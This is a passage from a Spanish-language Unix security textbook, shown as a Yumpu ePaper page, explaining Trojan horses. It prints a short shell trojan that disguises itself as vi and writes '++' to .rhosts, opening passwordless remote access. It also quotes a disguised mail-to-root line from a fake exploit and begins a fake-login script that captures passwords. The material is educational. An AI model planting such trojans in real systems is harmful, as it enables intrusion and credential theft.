13.07.2015 Views

SEGURIDAD EN UNIX Y REDES

SEGURIDAD EN UNIX Y REDES

SEGURIDAD EN UNIX Y REDES

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

5.4. FAUNA Y OTRAS AM<strong>EN</strong>AZAS 77el caballo, y al darse cuenta de que el sitio a su ciudad había acabado, los troyanos salieron ainspeccionar ese gran caballo de madera. Lo tomaron como una muestra de su victoria y lo introdujerontras las murallas de la ciudad sin darse cuenta de lo que realmente había en él. Cuando lostroyanos estaban celebrando el fin del asedio, del interior del caballo salieron los soldados griegos,que abrieron las puertas de la ciudad al resto de su ejército – que había vuelto al lugar – y pudieronde esta forma conquistar la ciudad de Troya.De la misma forma que el antiguo caballo de Troya de la mitología griega escondía en su interioralgo que los troyanos desconocían, y que tenía una función muy diferente a la que ellos pensaban, untroyano o caballo de Troya actual es un programa que aparentemente realiza una función útil paraquién lo ejecuta, pero que en realidad – o aparte – realiza una función que el usuario desconoce,generalmente dañina. Por ejemplo, un usuario que posea el suficiente privilegio en el sistema puederenombrar el editor vi como vi.old, y crear un programa denominado vi como el siguiente:#!/bin/shecho "++">$HOME/.rhostsvi.old $1Si esto sucede, cuando alguien trate de editar un fichero automáticamente va a crear un fichero.rhosts en su directorio de usuario, que permitirá a un atacante acceder de una forma sencilla alsistema utilizando las órdenes r-∗ de Unix BSD.Los troyanos son quizás el malware más difundido en cualquier tipo de entorno ([KT97]), incluyendopor supuesto a Unix; sus variantes incluyen incluso ejemplos graciosos: ha habido casos enlos que comenta un potencial problema de seguridad – real – en una lista de correo y se acompañala descripción de un shellscript que en principio aprovecha dicho problema para conseguir privilegiosde root. En ese exploit se ha incluido, convenientemente camuflada, una sentencia similar a lasiguiente:echo "A’p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk| mail \-s "‘echo "A’p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk‘" rootDe esta forma, cuando un script kiddie ejecute el programa para conseguir privilegios en el sistema,sin darse cuenta automáticamente lo estará notificando al administrador del mismo; evidentementeel exploit suele ser falso y no da ningún privilegio adicional, simplemente sirve para que el root sepaqué usuarios están ‘jugando’ con la seguridad de sus máquinas.Por desgracia, estos troyanos inofensivos no son los más comunes; existen también ejemplos decaballos de Troya dañinos: sin duda el ejemplo típico de troyano (tan típico que ha recibido unnombre especial: trojan mule o mula de Troya ([Tom94])) es el falso programa de login. Nadamás encender una terminal de una máquina Unix aparece el clásico mensaje ‘login:’ solicitandonuestro nombre de usuario y contraseña, datos que con toda seguridad la persona que enciende estedispositivo tecleará para poder acceder al sistema. Pero, ¿qué sucedería si el programa que imprimeel mensaje en pantalla es un troyano? Cualquier usuario del sistema puede crear un código quemuestre un mensaje similar, guarde la información leída de teclado (el login y el password) e invoquedespués al programa login original; tras la primera lectura, se mostrará el también clásico mensaje‘Login incorrect’, de forma que el usuario pensará que ha tecleado mal sus datos – nada extraño,al fin y al cabo –. Cuando el programa original se ejecute, se permitirá el acceso al sistema y eseusuario no habrá notado nada anormal, pero alguien acaba de registrar su login y su contraseña.Un troyano de este tipo es tan sencillo que se puede hacer – de forma simplificada – en unas pocaslíneas de shellscript:luisa:~$ cat trojanclearprintf "‘uname -n‘ login: "read login

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!